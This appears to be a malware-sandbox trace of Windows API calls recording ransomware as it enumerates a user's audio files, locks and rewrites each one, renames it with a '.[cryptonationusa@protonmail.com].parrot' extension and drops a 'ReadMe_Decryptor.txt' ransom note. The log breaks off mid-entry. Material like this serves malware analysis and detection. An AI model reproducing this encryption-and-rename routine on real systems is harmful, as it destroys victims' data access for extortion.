[0092.912] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6d3b30, ftCreationTime.dwHighDateTime=0x1d5c108, ftLastAccessTime.dwLowDateTime=0xe35f0e0, ftLastAccessTime.dwHighDateTime=0x1d5ba4a, ftLastWriteTime.dwLowDateTime=0xc4ac30e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x116d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_FAx.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="_FAXWA~1.PAR")) returned 1 [0092.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0092.912] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da458 | out: hHeap=0x5b0000) returned 1 [0092.912] lstrcmpW (lpString1="_FAx.wav.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0092.912] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x664468 [0092.912] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6d3b30, ftCreationTime.dwHighDateTime=0x1d5c108, ftLastAccessTime.dwLowDateTime=0xe35f0e0, ftLastAccessTime.dwHighDateTime=0x1d5ba4a, ftLastWriteTime.dwLowDateTime=0xc4ac30e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x116d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_FAx.wav.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="_FAXWA~1.PAR")) returned 0 [0092.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e6250 | out: hHeap=0x5b0000) returned 1 [0092.913] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0092.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0092.913] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c57190, ftCreationTime.dwHighDateTime=0x1d5c35e, ftLastAccessTime.dwLowDateTime=0x8ded6190, ftLastAccessTime.dwHighDateTime=0x1d5c406, ftLastWriteTime.dwLowDateTime=0x8ded6190, ftLastWriteTime.dwHighDateTime=0x1d5c406, nFileSizeHigh=0x0, nFileSizeLow=0x17b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="68gGbB.wav", cAlternateFileName="")) returned 1 [0092.913] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x5d6758 [0092.913] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6758 | out: hHeap=0x5b0000) returned 1 [0092.913] lstrcmpW (lpString1="68gGbB.wav", lpString2="ReadMe_Decryptor.txt") returned -1 [0092.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\68gGbB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\68ggbb.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0092.914] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x17b50 [0092.914] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17c68, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.914] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.915] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.916] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.916] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x17b50, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x17b50, lpOverlapped=0x0) returned 1 [0092.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.917] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0092.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0092.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0092.917] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6572a0 [0092.917] GetLastError () returned 0x0 [0092.921] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0092.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0092.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0092.921] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.921] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d6758 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6758 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b680 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c068 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b680 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c068 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x655920 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179190 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179378 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179648 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179378 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x318a060 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179648 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179190 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.922] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x318a060 [0092.922] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6572a0 [0092.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x3162050 [0092.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x3164018 [0092.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x3166fb0 [0092.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3164018 | out: hHeap=0x5b0000) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x2210048 [0092.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3166fb0 | out: hHeap=0x5b0000) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3162050 [0092.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x2210048 [0092.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0092.923] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x629218 [0092.923] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0092.924] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x21c32) returned 0x2262f70 [0092.925] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0092.925] WriteFile (in: hFile=0x258, lpBuffer=0x2262f80*, nNumberOfBytesToWrite=0x17c78, lpNumberOfBytesWritten=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2262f80*, lpNumberOfBytesWritten=0x18f4b4*=0x17c78, lpOverlapped=0x0) returned 1 [0092.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262f70 | out: hHeap=0x5b0000) returned 1 [0092.926] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17c68, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.926] CloseHandle (hObject=0x258) returned 1 [0092.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0092.926] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x666178 [0092.926] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0092.926] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\68gGbB.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\68ggbb.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\68gGbB.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\68ggbb.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x666178 | out: hHeap=0x5b0000) returned 1 [0092.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9260 | out: hHeap=0x5b0000) returned 1 [0092.927] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242f30 | out: hHeap=0x5b0000) returned 1 [0092.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0092.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c068 [0092.927] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0092.928] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0092.928] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f2a8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0092.929] GetFileType (hFile=0x258) returned 0x1 [0092.929] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x6572a0 [0092.939] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b1734e0, ftCreationTime.dwHighDateTime=0x1d5ba5b, ftLastAccessTime.dwLowDateTime=0x77ce3b00, ftLastAccessTime.dwHighDateTime=0x1d5c0dc, ftLastWriteTime.dwLowDateTime=0x77ce3b00, ftLastWriteTime.dwHighDateTime=0x1d5c0dc, nFileSizeHigh=0x0, nFileSizeLow=0x18e9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="p_8PBYRFiLLvR.wav", cAlternateFileName="P_8PBY~1.WAV")) returned 1 [0092.939] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0092.939] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0092.939] lstrcmpW (lpString1="p_8PBYRFiLLvR.wav", lpString2="ReadMe_Decryptor.txt") returned -1 [0092.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\p_8PBYRFiLLvR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\p_8pbyrfillvr.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0092.940] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18f530 | out: lpFileSizeHigh=0x18f530*=0x0) returned 0x18e9d [0092.940] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18fb5, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.940] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.940] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.941] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.941] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x18e9d, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x18e9d, lpOverlapped=0x0) returned 1 [0092.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.942] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0092.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0092.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0092.942] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6572a0 [0092.942] GetLastError () returned 0x0 [0092.995] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0092.995] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.995] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0092.997] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18fb5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.998] CloseHandle (hObject=0x258) returned 1 [0092.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c068 [0092.998] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0) returned 0x664550 [0092.998] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\p_8PBYRFiLLvR.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\p_8pbyrfillvr.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\p_8PBYRFiLLvR.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\p_8pbyrfillvr.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.001] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.001] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.001] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d973d80, ftCreationTime.dwHighDateTime=0x1d5c205, ftLastAccessTime.dwLowDateTime=0xd26f6010, ftLastAccessTime.dwHighDateTime=0x1d5bfe8, ftLastWriteTime.dwLowDateTime=0xd26f6010, ftLastWriteTime.dwHighDateTime=0x1d5bfe8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.002] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.002] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.002] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba9673f0, ftCreationTime.dwHighDateTime=0x1d5b87e, ftLastAccessTime.dwLowDateTime=0xccc2c190, ftLastAccessTime.dwHighDateTime=0x1d5c0ef, ftLastWriteTime.dwLowDateTime=0xccc2c190, ftLastWriteTime.dwHighDateTime=0x1d5c0ef, nFileSizeHigh=0x0, nFileSizeLow=0xe29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="-ho7GsRgpa V.m4a", cAlternateFileName="-HO7GS~1.M4A")) returned 1 [0093.002] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605470 [0093.002] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe3b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.002] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.002] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.003] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.003] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe29c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xe29c, lpOverlapped=0x0) returned 1 [0093.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.006] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.006] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.008] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe3b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.008] CloseHandle (hObject=0x264) returned 1 [0093.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317c038 [0093.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x667b00 [0093.008] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\-ho7GsRgpa V.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\x7jciw2quycpp\\-ho7gsrgpa v.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\-ho7GsRgpa V.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\x7jciw2quycpp\\-ho7gsrgpa v.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.012] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x10a36, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.012] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.012] ReadFile (in: hFile=0x264, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.013] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.013] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1091e, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1091e, lpOverlapped=0x0) returned 1 [0093.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0093.017] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.017] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0093.017] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0093.019] UnlockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x10a36, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.019] CloseHandle (hObject=0x264) returned 1 [0093.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317c038 [0093.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x667b00 [0093.020] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\-Ti1Q.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\x7jciw2quycpp\\-ti1q.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\X7JCIw2QUyCpP\\-Ti1Q.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\x7jciw2quycpp\\-ti1q.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.023] LockFile (hFile=0x264, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x12123, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.024] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, 